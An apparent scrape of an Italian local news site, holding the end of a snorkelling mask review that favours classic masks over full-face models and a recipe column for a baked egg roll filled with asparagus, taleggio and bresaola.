3) la possibilità di compensare stringendo il naso tra il pollice e l’indice resta inattesa poichè la sagoma in gomma ante-nasale rimane troppo avanzata così da rendere impossibile raggiungere la zona laterale delle narici, se non servendosi innaturalmente degli indici di entrambe le mani. Comunque, dati i difetti sopra citati, tale manovra sarebbe del tutto superflua.
Io mi sono portato dietro la fida rino-oculare classica con boccaglio a valvola di drenaggio: un’accoppiata sempre vincente nei confronti di queste ancora acerbe maschere full-face. Come dico in video, anche quelle che incontravo in Egeo, erano per la maggior parte indossate da ragazzini che non si allontanavano mai troppo dalle acque antistanti l’arenile, poi, una volta allontanotomi di centinaia di metri ed anche chilometri (con le mie fedeli pinne Cressi Reaction Pro), in cerca dei fondali più belli per praticare skin diving, incontravo soltanto nuotatori di buona esperienza, e tutti indossavano maschere rino-oculari come me.
I dettagli della mia recensione, frutto di oltre venti giorni di test li troverete nel video. Buona visione!

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Il Mio Rollè Primavera con Asparagi, Taleggio, Bresaola https://www.perugiafreepress.com/il-mio-rolle-primavera-con-asparagi-taleggio-bresaola/ https://www.perugiafreepress.com/il-mio-rolle-primavera-con-asparagi-taleggio-bresaola/#respond Tue, 27 Mar 2018 09:58:50 +0000 http://www.perugiafreepress.com/?p=7313 di Piero La Terza Sprovieri

La agognata primavera tarda ad arrivare; l’inverno s’attarda ben oltre la sua natural scadenza, così, quasi apotropaicamente mi aggingo a presentarVi questa mia culinaria creazione al cui fulcro v’è una verzura regina della stagione della rinascita: l’asparago. La portata, quando utilizzata come secondo unico, andrà bene per quattro/sei commensali.
Ingredienti: 8/12 uova di media grandezza
500g di asparagi (una confezione)
160g ca. di formaggio taleggio
160g ca. di bresaola
olio e.v. d’oliva , sale, spezie q.b.
Battiamo le uova aggiungendo un poco di sale, pepe e un filo di olio (pari a a 10/15g). Nelle uova talvolta aggiungo del formaggio a grana dura (Parmigiano; Grana, Pecorino Romano, ecc.) che grattugerò durante la preparazione nella vasca della mia fida Mum. In questo caso però eviterò di mettere formaggio come componente del ripieno, così da non appesantire oltremodo la portata. Tale variante andrà bene là dove non s’impieghino ingredienti come, ad esempio asparagi tagliati o funghi champignons e tutti gli altri che richiedano un agglomerante (in questo caso, il formaggio fuso). Quando il forno ventilato avrà raggiunto la temperatura di 180/185°C (ricordo che nel caso utilizzaste una cottura di tipo statico, la temperatura, per motivi di resa termica andrà elevata a 200°C) porrò sulla carda un foglio di carta da forno e vi verserò sopra le uova battute, esattamente come farei con la padella nel caso intendessi realizzare una frittata. Via nel forno a mezza altezza, o nel quarto basso (dipendentemente dal tipo di forno di cui disponiamo) per una decina di minuti o quel tanto che basta a far rapprendere le uova, donando così consistenza a quello che diverrà il tappeto che arrotoleremo attorno agli ingredineti del ripieno. In questa fase occorre prestar attenzione affinchè le uova siano ben rapprese, altrimenti rischieremo di veder collassare il nostro rollè proprio mentre lo stiamo formando: per scongiurare tale rischio, vale l’antico adagio latino del melius abundare quam deficere. Quando le uova; o meglio, il tappeto sarà pronto, adageremo le sottili fette di bresaola per tutta la sua superficie, successivamente poseremo sopra di questa il taleggio che avremo già provveduto a tagliare a fettine possibilmente sottili, così da non ostacolare l’operazione di arrotolamento. Infine porremo i pezzetti di asparagi (che avremo prima mondato della parte legnosa e pulito). Avendo messo già il condimento nelle uova, non ne aggiungerò altro poichè già il sale presente nel taleggio e nella bresaola, saranno sufficienti a fornire il corretto apporto di sapidità del ripieno. Con delicatezza inizieremo ad arrotolare facendo attenzione di mantenere aderente il tutto. Ruoteremo il rotolo di 90° sul piano orizzontale rispetto alla carda e faremo sì che l’estremità di chiusura rimanga sotto al ventre dello stesso. Compatteremo e inforneremo per altri dieci minuti circa. Quando il dorso avrà preso appena colore, il rollè sarà pronto. Attenzione a non eccedere con i tempi di cottura: sarà sufficiente che il formaggio si fonda così da amalgamare bene gli asparagi: cerchiamo di evitare che la bresaola possa finir per cuocersi: come ogni altro salume stagionato, subirebbe un’alterazione delle proprie qualità organolettiche, da considerarsi già di per se un imperdonabile errore.
Porremo il tutto in un vassoio da portata, ed al taglio, il rollè darà meglio di se: apoteosi di colori, profumi e sapori. Un’idea semplice da realizzare, contenuta nella spesa e dal figurone assicurato quando s’hanno ospiti al proprio desco. Una ricetta “tanta resa e poca spesa”.
La mia sarà una rubrica multitematica, quindi non meravigliatevi se dalla cucina passerò a parlarvi d’informatica, o Hi-Tech, piuttosto che di volo, eventi aeronautici piuttosto che di sociologia.
Per il momento non mi resta che agurar Voi …
Buon Appetito!

il mio rollè

Al taglio, appena sfornato

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